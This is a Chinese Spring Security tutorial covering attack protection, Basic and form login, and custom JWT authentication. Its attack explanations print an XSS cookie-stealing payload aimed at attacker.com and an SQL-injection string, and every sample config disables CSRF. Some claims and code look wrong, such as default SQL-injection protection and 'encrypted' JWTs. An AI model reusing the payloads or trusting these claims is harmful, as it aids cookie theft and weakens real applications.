Skip to main content

Spring Security

Spring 生态圈中有两个主流的安全框架:Apache Shiro 和 Spring Security。Spring Security 是 Spring 官方的安全框架,它提供了一套完整的安全解决方案,包括认证、授权、攻击防护等。Shiro 更为轻量,也是一个不错的选择。这里我们只介绍 Spring Security。

这里我们的演示使用 Spring WebFlux。在这里使用 Reactive 版的目的是为了展示 Spring WebFlux 的应用,但这不影响 Spring Security 的学习。

Spring Security 三大职能

  • 攻击防护(Attack Protection),包括防止常见的网络安全攻击,如 CSRF、XSS等。
  • 认证(Authentication),验证用户的身份。
  • 鉴权(Authorization),控制用户对资源的访问权限。

攻击防护

常见的网络安全攻击及其原理

CSRF(Cross-Site Request Forgery)

CSRF 是一种网络攻击,攻击者利用用户的登录状态发起恶意请求。攻击者可以伪造请求,让用户在不知情的情况下执行恶意操作。

例如,如果用户在http://bank.com/transfer页面上登录了银行账号,攻击者可以在另一个页面上放置一个<img src="http://bank.com/transfer?to=attacker&amount=1000">的图片,当用户访问这个页面时,浏览器会自动加载这个图片。因为用户的网络环境中已经有了银行的 Cookie,所以这个请求会带上用户的 Cookie,从而执行了转账操作。

XSS(Cross-Site Scripting)

XSS 是一种网络攻击,攻击者在网页中注入恶意脚本,当用户访问这个页面时,脚本会在用户的浏览器中执行。这样攻击者就可以获取用户的 Cookie、密码等信息。

这种攻击很像 SQL 注入,只不过 SQL 注入是攻击数据库,而 XSS 是攻击用户。

一种常见的 XSS 攻击是在评论框中注入脚本,当其他用户访问这个页面时,脚本会在他们的浏览器中执行。例如,攻击者在评论框中输入<script>fetch('http://attacker.com?cookie=' + document.cookie)</script>,这样其他用户访问这个页面时,就会向http://attacker.com发送请求,从而泄露 Cookie。

SQL 注入

SQL 注入是一种网络攻击,攻击者在输入框中输入恶意 SQL 语句,当这个 SQL 语句被拼接到数据库查询中时,就会执行这个 SQL 语句。

例如,如果一个登录页面的 SQL 查询是SELECT * FROM users WHERE username = '${username}' AND password = '${password}',攻击者可以输入' OR 1=1 --,这样 SQL 查询就变成了SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '${password}',这样就绕过了密码验证。

点击劫持

点击劫持是一种网络攻击,攻击者在一个透明的 iframe 中放置一个恶意网页,然后将这个 iframe 放在一个看似无害的页面上。当用户点击这个页面时,实际上是点击了 iframe 中的恶意网页。

例如,攻击者在一个透明的 iframe 中放置一个银行转账页面,然后将这个 iframe 放在一个看似无害的页面上。当用户点击这个页面时,实际上是点击了银行转账页面,从而执行了转账操作。

配置 Spring Security 进行攻击防护

Spring Security 中,所有的功能都是通过 SecurityFilterChain 实现的。如名字所示,SecurityFilterChain 是一个过滤器链,它包含了一系列的过滤器,每个过滤器负责一个功能。

对于 Spring Web,这个过滤器是 Servlet Filter;对于 Spring WebFlux,这个过滤器是 WebFilter。不过,两者的功能是一样的。

Spring Security 默认开启了全部的攻击防护功能,包括 CSRF、XSS、SQL 注入等。我们可以通过配置来关闭这些功能。

@Configuration
@EnableWebFluxSecurity
public class SecurityConfig {
@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}
}

如果是 Servlet 版本,使用,

@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(
HttpSecurity http
) {
return http
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}
}

注意,网上的很多资料都的写法都过时了,现在的写法叫 lambda DSL,即.功能名(参数 -> 参数设置)。如果保持默认设置,使用Customizer.withDefaults()即可。

上面每一条语句都创建一个 Filter,.csrf(csrf -> csrf.disable())即创建了CsrfWebFilter.cors(Customizer.withDefaults())即创建了CorsWebFilter。这些 Filter 会被添加到 SecurityFilterChain 中。最后通过.build()创建 SecurityFilterChain。

这些攻击的防护基本是无感的,不需要做太多操作,均默认开启。

单体应用的认证与鉴权

Spring Security 提供了多种认证方式,包括用户名密码认证、OAuth2 认证等。在这一部分,我们只介绍用户名密码认证,并自己实现 JWT 认证。

认证信息的传递

认证信息的传递有两种方式:Cookie 和 Token。

Cookie 是一种存储在浏览器中的信息,它会随着每次请求一起发送到服务器。Cookie 有两种:会话 Cookie 和持久 Cookie。会话 Cookie 是一种临时 Cookie,它会在浏览器关闭时被删除;持久 Cookie 是一种长期 Cookie,它会在浏览器关闭时被保存。

不过,现在的大部分的认证信息都是通过 Token 传递的。Token 是一种短期的认证信息,它会在一段时间后失效。简单来说,Token 就是一个字符串,它包含了用户的信息,如用户名、权限等。与 Cookie 不同,Token 是存储在客户端的,它会在每次请求时被发送到服务器,如此,服务器就是无状态的。

Token 一般通过 HTTP 请求头部的Authorization字段传递。其内容根据 Token 的类型不同而不同。但格式都是格式 数据中间有一个空格。

常用的格式只有两种,BasicBearer。前者只用于用户名-密码认证,又称为 HTTP Basic 认证;后者广泛用于多种认证方式,称为 Bearer Token 认证。

Basic 认证的格式是Basic base64(username:password),其中base64(username:password)用户名:密码的 base64 编码。这种认证方式不安全,因为用户名和密码是明文传输的。

Bearer Token 认证的格式是Bearer token,其中token是 Token 的内容。这种认证方式相对安全,因为 Token 是加密的。Token 的具体内容取决于认证方式。

此外,还有一种表单认证,即通过表单提交用户名和密码。

Spring Security 认证与鉴权流程

Spring Security 的每个鉴权请求都是由 SecurityContext 处理的。由于每个 HTTP 请求都有独立的线程处理,因此存储是通过 ThreadLocal 实现的。

当前线程的 SecurityContext 通过SecurityContextHolder.getContext()获取,其中包含了当前用户的信息。这个信息是通过Authentication对象表示的,其中包含了用户的身份、凭证、权限等信息。

SecurityContext context = SecurityContextHolder.createEmptyContext();
Authentication authentication =
new TestingAuthenticationToken("username", "password", "ROLE_USER");
context.setAuthentication(authentication);

SecurityContextHolder.setContext(context);

上面的代码创建了一个SecurityContext,并设置了一个Authentication对象。这个Authentication对象表示了一个用户,其中包含了用户名、密码、权限等信息。

SecurityFilterChain 负责把用户请求处理成Authentication对象,然后把这个对象存储到SecurityContext中。

Authentication其实是一个接口,定义如下,

public interface Authentication extends Principal, Serializable {
Collection<? extends GrantedAuthority> getAuthorities();
Object getCredentials();
Object getDetails();
Object getPrincipal();
boolean isAuthenticated();
void setAuthenticated(boolean isAuthenticated) throws IllegalArgumentException;
}

它由四个重要的属性,Authenticated,是否已经通过认证;Principal,用户的身份,即能表示用户的标识,通常是用户名或用户 ID;Credentials,用户的凭证,即能验证用户身份的信息,通常是密码;Authorities,用户的权限,即用户能访问的资源。Authorities是一个GrantedAuthority的集合,GrantedAuthority是一个只有getAuthority()方法的接口,它只返回一个字符串,表示用户的权限。因此,可以认为Authorities本质就是一些字符串,它们可以表示用户的权限。

默认状态下,SecurityFilterChain 的认证流程如下。

  1. Filter 拦截请求。Filter 先根据特定的规则把 HTTP 请求处理成Authentication对象。这时对象的Authenticated属性为false。Filter 会把这个对象放在SecurityContext中。这个 Filter 是AuthenticationFilterAuthenticationWebFilter。对于前者,在创建时要提交AuthenticationManager和一个AuthenticationConverter,它们分别负责认证和 HTTP 请求转 Authentication 对象。对于后者,只需要提交ReactiveAuthenticationManager,Converter 可以用回调函数设置。
  2. Filter 把用户认证的任务委托给AuthenticationManagerAuthenticationManager会根据Authentication对象的PrincipalCredentials进行认证。authenticateAuthenticationManager的唯一一个方法,它接受一个Authentication对象,返回一个认证后的Authentication对象。
  3. AuthenticationManager Servlet 版本的默认实现是 ProviderManager,它会把认证任务委托给多个AuthenticationProvider。每个AuthenticationProvider负责一种认证方式,例如用户名密码认证、OAuth2 认证等。除了authenticated方法外,AuthenticationProvider还有一个supports方法,它的签名是boolean supports(Class<?> authentication),用于判断这个AuthenticationProvider是否支持这种认证方式。默认的ProviderManager会遍历所有的AuthenticationProvider,找到第一个支持这种认证方式的AuthenticationProvider,然后调用它的authenticate方法。而 WebFlux 版本没有 ProviderManager,而是直接使用UserDetailsRepositoryReactiveAuthenticationManager,这比 Servlet 版本少了一层抽象。
  4. AuthenticationProvider会根据SecurityContextAuthentication对象的PrincipalCredentials进行认证。如果认证成功,就返回一个认证后的Authentication对象;如果认证失败,就抛出一个异常。
  5. 默认的AuthenticationProviderDaoAuthenticationProvider,它会根据用户名和密码从数据库中查询用户信息。它依赖于UserDetailsServiceUserDetailsService是一个接口,它只有一个方法UserDetails loadUserByUsername(String username),用于根据用户名查询用户信息。UserDetails是一个接口,它包含了用户的用户名、密码、权限等信息。DaoAuthenticationProvider会根据UserDetailsService查询到的UserDetails对象,和Authentication对象的Credentials进行比较,如果相同,就返回一个认证后的Authentication对象;如果不同,就抛出一个异常。此外,它还有一个PasswordEncoder属性,用于对密码进行加密。
  6. 认证成功后,AuthenticationManager会把认证后的Authentication对象存储到SecurityContext中。这时对象的Authenticated属性为true
  7. 后续 Filter 根据Authentication对象的Authorities进行鉴权。

这个过程一定要理解好,下面我们所有的配置都是基于这个过程的。我们一般只会改变AuthenticationManagerUserDetailsServicePasswordEncoder这三个类。

注意,上面的流程是基于 Servlet 的,对于 WebFlux,流程是一样的,但是 Filter 是 WebFilter,而且其它的接口名称都在开头添加了Reactive,例如ReactiveAuthenticationManager,接口从直接返回值变成返回Mono,但是其它的都是一样的。

此外,如果找不到UserDetailsService,即完全没经过 Security 配置,默认的AuthenticationManager逻辑是这样的:它会在配置文件里找spring.security.user.namespring.security.user.password,如果找到了,就用这个用户名和密码进行认证。如果找不到,就会生成一个密码,打印在控制台上,然后用这个密码进行认证。这个密码是随机的,每次启动都不一样。用户名是user

配置 Spring Security 进行 Basic 认证与鉴权

首先,我们要配置好 UserDetailsService,它用于根据用户名查询用户信息。这里我们就不连接数据库了,而是直接用 Map 存储用户信息。这里我们使用默认类。注意,非 WebFlux 版本没有 MapUserDetailsManager,需要自己实现。

@Bean
PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder();
}

@Bean
public ReactiveUserDetailsService reactiveUserDetailsService(
@Autowired PasswordEncoder passwordEncoder
) {
return new MapReactiveUserDetailsService(
User.withUsername("user")
.password(passwordEncoder.encode("password"))
.roles("USER")
.build(),
User.withUsername("admin")
.password(passwordEncoder.encode("password"))
.roles("ADMIN")
.build()
);
}

然后配置 Filter。

@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").permitAll()
.pathMatchers("/resource/private").authenticated()
.pathMatchers("/resource/admin").hasRole("ADMIN")
.anyExchange().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}

这里的配置很简单,.httpBasic(Customizer.withDefaults())表示使用 HTTP Basic 认证;.authorizeExchange(exchanges -> exchanges...表示配置鉴权规则;.csrf(csrf -> csrf.disable())表示关闭 CSRF 防护;.cors(Customizer.withDefaults())表示配置 CORS 规则。

其中,pathMatchers表示匹配路径,permitAll表示允许所有用户访问,authenticated表示只允许认证用户访问,hasRole表示只允许有某个角色的用户访问。

这里的Role匹配其实就是GrantedAuthority匹配,只不过 Spring Security 为了方便,提供了hasRole方法,它会自动加上ROLE_前缀。简单来说,为一个用户添加一个角色,就是为这个用户添加一个GrantedAuthority,这个GrantedAuthoritygetAuthority方法返回的字符串就是ROLE_加上角色名。检查也是一样的,只要用户的Authorities中包含这个GrantedAuthority,就可以访问。

此外,还可以使用access表达式,它是一个 SpEL 表达式,用于判断用户是否有权限访问。里面的内容就是正常情况下的权限控制方法。

@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").access("permitAll()")
.pathMatchers("/resource/private").access("isAuthenticated()")
.pathMatchers("/resource/admin").access("hasRole('ADMIN')")
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}

或者使用基于注解的方式。

@GetMapping("/private")
@PreAuthorize("isAuthenticated()")
public Mono<String> privateResource() {
return Mono.just("Private resource");
}

这里的@PreAuthorize是一个注解,它的值是一个 SpEL 表达式,用于判断用户是否有权限访问这个接口。里面的内容和 access 方法一致。

如果使用了 Spring Doc,先加上@SecurityRequirement注解,

@GetMapping("/private")
@SecurityRequirement(name = "basicAuth")
public Mono<String> privateResource() {
return Mono.just("Private resource");
}

@GetMapping("/admin")
@SecurityRequirement(name = "basicAuth", scopes = "admin")
public Mono<String> adminResource() {
return Mono.just("Admin resource");
}

然后加上@SecurityScheme注解,

package io.github.fingerbone;

import org.springframework.context.annotation.Configuration;

import io.swagger.v3.oas.annotations.enums.SecuritySchemeType;
import io.swagger.v3.oas.annotations.security.SecurityScheme;

@Configuration
@SecurityScheme(
name = "basicAuth",
type = SecuritySchemeType.HTTP,
scheme = "basic"
)
public class SpringDocConfig {

}

这样 Swagger 就会自动加上认证信息。每个有 Security 注解的接口都会有一个锁的图标,点击后会弹出认证框,输入用户名密码即可。

注意,默认 HTTP Basic 是有 Cookie 保持的。

进入浏览器的开发者工具,选择 Storage。在 All Storage 里删掉所有 Cookie 即可。

当然,更好的方法是添加一个登出接口,这样就可以在浏览器中登出了。

@GetMapping("/logout")
public Mono<Void> logout(ServerWebExchange exchange) {
return exchange.getPrincipal().flatMap(principal -> {
if (principal instanceof Authentication) {
return exchange.getExchange().getSession().doOnNext(WebSession::invalidate);
}
return Mono.empty();
});
}

或者直接用 Spring Security 提供的LogoutWebFilter

@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.logout(logout -> logout.logoutUrl("/logout"))
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").permitAll()
.pathMatchers("/resource/private").authenticated()
.pathMatchers("/resource/admin").hasRole("ADMIN")
.anyExchange().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}

这样,访问/logout就会登出。

如果要关闭 Cookie,可以使用securityContextRepository,这个类用于存储SecurityContext。默认的实现是WebSessionServerSecurityContextRepository,它会把SecurityContext存储到WebSession中。我们可以使用NoOpServerSecurityContextRepository,它不会存储SecurityContext

@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.logout(logout -> logout.logoutUrl("/logout"))
.securityContextRepository(
NoOpServerSecurityContextRepository.getInstance()
)
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").permitAll()
.pathMatchers("/resource/private").authenticated()
.pathMatchers("/resource/admin").hasRole("ADMIN")
.anyExchange().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}

如果使用 Servlet 版本,使用的是sessionManagement

@Bean
public SecurityFilterChain securityFilterChain(
HttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.logout(logout -> logout.logoutUrl("/logout"))
.sessionManagement(sessionManagement -> sessionManagement
.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
)
.authorizeRequests(authorizeRequests -> authorizeRequests
.antMatchers("/resource/public").permitAll()
.antMatchers("/resource/private").authenticated()
.antMatchers("/resource/admin").hasRole("ADMIN")
.anyRequest().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}

这样,就关闭了 Cookie。

配置 Spring Security 进行表单认证与鉴权

表单认证与 Basic 认证类似,只是认证方式不同。只需要将.httpBasic(Customizer.withDefaults())替换成.formLogin(Customizer.withDefaults())即可。如果两者都有,那么是或的关系。

@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.formLogin(Customizer.withDefaults())
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").permitAll()
.pathMatchers("/resource/private").authenticated()
.pathMatchers("/resource/admin").hasRole("ADMIN")
.anyExchange().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.securityContextRepository(
NoOpServerSecurityContextRepository.getInstance()
)
.build();
}

配置 Spring Security 进行 JWT 认证与鉴权

JWT 认证原理

JWT 使用 Bearer Token 认证,它的格式是Bearer token,其中token是 Token 的内容。Token 的内容是一个 JSON 对象,它包含了用户的信息,如用户名、权限等。Token 是加密的,因此是安全的。

其中,具体而言,一个 JWT Token 由三部分组成,分别是 Header、Payload 和 Signature。Header 包含了 Token 的类型和加密算法;Payload 包含了用户的信息;Signature 是 Header 和 Payload 的签名,用于验证 Token 的完整性。三者之间用.分隔。JWT Token 由服务器负责生成,客户端负责保存。

例如,一个 JWT Token 解密后的内容可能是这样的,

{
"header": {
"alg": "HS256",
"typ": "JWT"
},
"payload": {
"sub": "user",
"roles": ["USER"]
},
"signature": "..."
}

JWT 中一定不要存储敏感信息,因为 JWT 本身是明文的。

Payload 中,有一些字段是 JWT 规定的,如sub表示用户,exp表示过期时间,iat表示签发时间等。除此之外,可以自定义字段,如roles表示用户的角色。每一条记录称为一个 Claim,因此 Payload 有时也叫 Claims。

JWT 的解析

JWT 一般使用一个轻量级的 JJWT 库进行解析。签发 Token 时,需要指定 Token 的过期时间、签发时间、用户信息等。解码 Token 时,需要指定 Token 的签名密钥。

首先引入依赖,

dependencies {
implementation 'io.jsonwebtoken:jjwt-api:0.12.6'
runtimeOnly 'io.jsonwebtoken:jjwt-jackson:0.12.6'
runtimeOnly 'io.jsonwebtoken:jjwt-impl:0.12.6'
}

然后实现一个 Util 类。

import java.util.*;
import javax.crypto.SecretKey;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.userdetails.ReactiveUserDetailsService;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.stereotype.Component;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jws;
import io.jsonwebtoken.Jwts;

@Component
public class JwtUtil {

private final ReactiveUserDetailsService userDetailsService;

@Value("#{${jwt.expiration-seconds}}")
private final Integer expirationSeconds;

private final SecretKey key;

public JwtUtil(ReactiveUserDetailsService userDetailsService,
@Value("${jwt.expiration-seconds}") Integer expirationSeconds) {
this.userDetailsService = userDetailsService;
this.expirationSeconds = expirationSeconds;
this.key = Jwts.SIG.HS256.key().build();
}

public String generateToken(String username) {
UserDetails userDetails = userDetailsService.findByUsername(username).block();
Date expire = new Date(System.currentTimeMillis() + expirationSeconds * 1000);
String id = UUID.randomUUID().toString();
return Jwts.builder()
.header()
.add("typ", "JWT")
.add("alg", "HS256")
.and()
.claim("username", userDetails.getUsername())
.claim("authorities", userDetails.getAuthorities())
.id(id)
.expiration(expire)
.issuedAt(new Date())
.subject(userDetails.getUsername())
.issuer("issuer")
.signWith(
key,
Jwts.SIG.HS256
)
.compact();
}

public Jws<Claims> parseToken(String token) {
return Jwts.parser().verifyWith(key).build().parseSignedClaims(
token
);
}

public Authentication parseToAuthentication(String token) {
Jws<Claims> jws = parseToken(token);
UserDetails userDetails = userDetailsService.findByUsername(jws.getPayload().getSubject()).block();
return new Authentication() {
private static final long serialVersionUID = 1L;

@Override
public String getName() {
return userDetails.getUsername();
}

@Override
public Collection<? extends GrantedAuthority> getAuthorities() {
return userDetails.getAuthorities();
}

@Override
public Object getCredentials() {
return userDetails.getPassword();
}

@Override
public Object getDetails() {
return userDetails;
}

@Override
public Object getPrincipal() {
return userDetails;
}

@Override
public boolean isAuthenticated() {
return true;
}

@Override
public void setAuthenticated(boolean isAuthenticated) throws IllegalArgumentException {
throw new UnsupportedOperationException();
}
};
}
}

注意,如果使用的 Servlet 的 UserDetailsService,使用loadUserDetails方法。这里都是一些简单的构造器方法使用,不再赘述。

JWT 的签发

使用一个简单的 API 进行签发即可。如果在生产环境中,要么使用 HTTPS,要么使用非对称加密进行密码传递。但这里为了演示,就直接传递密码了。

@RestController
@RequestMapping("/resource")
@RequiredArgsConstructor
public class MainController {

JwtUtil jwtUtil;
ReactiveUserDetailsService userDetailsService;
PasswordEncoder passwordEncoder;

@PostMapping("/login")
public Mono<String> login(@RequestParam String username, @RequestParam String password) {
return userDetailsService.findByUsername(username)
.filter(userDetails -> passwordEncoder.matches(password, userDetails.getPassword()))
.map(userDetails -> jwtUtil.generateToken(username))
.switchIfEmpty(Mono.error(new Exception("Authentication failed")));
}
}

JWT 的验证

根据前文,我们知道,WebFilter 负责生产 Authentication 对象,而 AuthenticationManager 负责验证 Authentication 对象。

因此,首先我们定义一个 WebFilter 用来解析 Token。这个 WebFilter 都是使用 AuthenticationWebFilter,包含了若干回调函数。这里我们覆写 Convert 即可。

注意,这个类需要一个 AuthenticationManager。但因为 JWT 的解析过程就是验证过程,因此这个 AuthenticationManager 不需要做任何操作。

ReactiveAuthenticationManager authenticationManager = new ReactiveAuthenticationManager() {
@Override
public Mono<Authentication> authenticate(Authentication authentication) {
if(authentication.isAuthenticated()) {
return Mono.just(authentication);
} else {
return Mono.empty();
}
}
};

AuthenticationWebFilter filter = new AuthenticationWebFilter(authenticationManager);
filter.setServerAuthenticationConverter(
exchange -> {
String token = exchange.getRequest().getHeaders().getFirst("Authorization");
if (token != null && token.startsWith("Bearer ")) {
token = token.substring(7);
Authentication authentication = jwtUtil.parseToAuthentication(token);
return Mono.just(authentication);
}
return Mono.empty();
}
);

然后我们把它们加到 SecurityFilterChain 中。

@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http,
@Autowired JwtUtil jwtUtil
) {
ReactiveAuthenticationManager authenticationManager = new ReactiveAuthenticationManager() {
@Override
public Mono<Authentication> authenticate(Authentication authentication) {
if(authentication.isAuthenticated()) {
return Mono.just(authentication);
} else {
return Mono.empty();
}
}
};
AuthenticationWebFilter filter = new AuthenticationWebFilter(authenticationManager);
filter.setServerAuthenticationConverter(
exchange -> {
String token = exchange.getRequest().getHeaders().getFirst("Authorization");
if (token != null && token.startsWith("Bearer ")) {
token = token.substring(7);
Authentication authentication = jwtUtil.parseToAuthentication(token);
return Mono.just(authentication);
}
return Mono.empty();
}
);

SecurityWebFilterChain chain = http
.httpBasic(basic -> basic.disable())
.formLogin(form -> form.disable())
.logout(logout -> logout.disable())
.addFilterBefore(filter, SecurityWebFiltersOrder.AUTHENTICATION)
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").permitAll()
.pathMatchers("/resource/private").authenticated()
.pathMatchers("/resource/admin").hasRole("ADMIN")
.anyExchange().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.securityContextRepository(
NoOpServerSecurityContextRepository.getInstance()
)
.build();
return chain;
}

如果是使用的 Servlet 版本,有一点点不同。具体而言,创建 AuthenticationFilter 时需要一并传入 AuthenticationConverter。在添加 Filter 时要使用类名。

代码如下,

@Bean
public SecurityFilterChain securityFilterChain(
HttpSecurity http,
@Autowired JwtUtil jwtUtil
) {
AuthenticationManager authenticationManager = new AuthenticationManager() {
@Override
public Authentication authenticate(Authentication authentication) throws AuthenticationException {
if(authentication.isAuthenticated()) {
return authentication;
} else {
throw new BadCredentialsException("Bad credentials");
}
}
};
AuthenticationConverter converter = new AuthenticationConverter() {
@Override
public Authentication convert(HttpServletRequest request) {
String token = request.getHeader("Authorization");
if (token != null && token.startsWith("Bearer ")) {
token = token.substring(7);
Authentication authentication = jwtUtil.parseToAuthentication(token);
return authentication;
}
return null;
}
};

AuthenticationFilter filter = new AuthenticationFilter(authenticationManager, converter);

SecurityFilterChain chain = http
.httpBasic(basic -> basic.disable())
.formLogin(form -> form.disable())
.logout(logout -> logout.disable())
.addFilterBefore(filter, UsernamePasswordAuthenticationFilter.class)
.authorizeRequests(authorizeRequests -> authorizeRequests
.antMatchers("/resource/public").permitAll()
.antMatchers("/resource/private").authenticated()
.antMatchers("/resource/admin").hasRole("ADMIN")
.anyRequest().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
return chain;
}

如果使用了 SpringDoc,把认证模式切换为bearerAuth即可。

@GetMapping("/private")
@SecurityRequirement(name = "bearerAuth")
public Mono<String> privateResource() {
return Mono.just("Private resource");
}

@Configuration
@SecurityScheme(
name = "bearerAuth",
type = SecuritySchemeType.HTTP,
scheme = "bearer"
)
class SpringDocConfig {}

综上,这样就实现了 JWT 认证与鉴权。通过这个例子,我们也更好地理解了 Spring Security 的认证与鉴权流程。

以及,网上很多教程都是自己写一个 Filter,然后在 Filter 里面写认证逻辑,这样根本就没过 Spring Security 的认证流程,这样做是不对的。本文的写法才是正确的。当然,这个也可能因为 Spring Security 的文档没明确写这点。不过大部分人确实没有自定义验证方法的需求。

Spring Security 内置的 JWT 是基于 OAuth2 认证框架的,比较复杂,在下一部分介绍。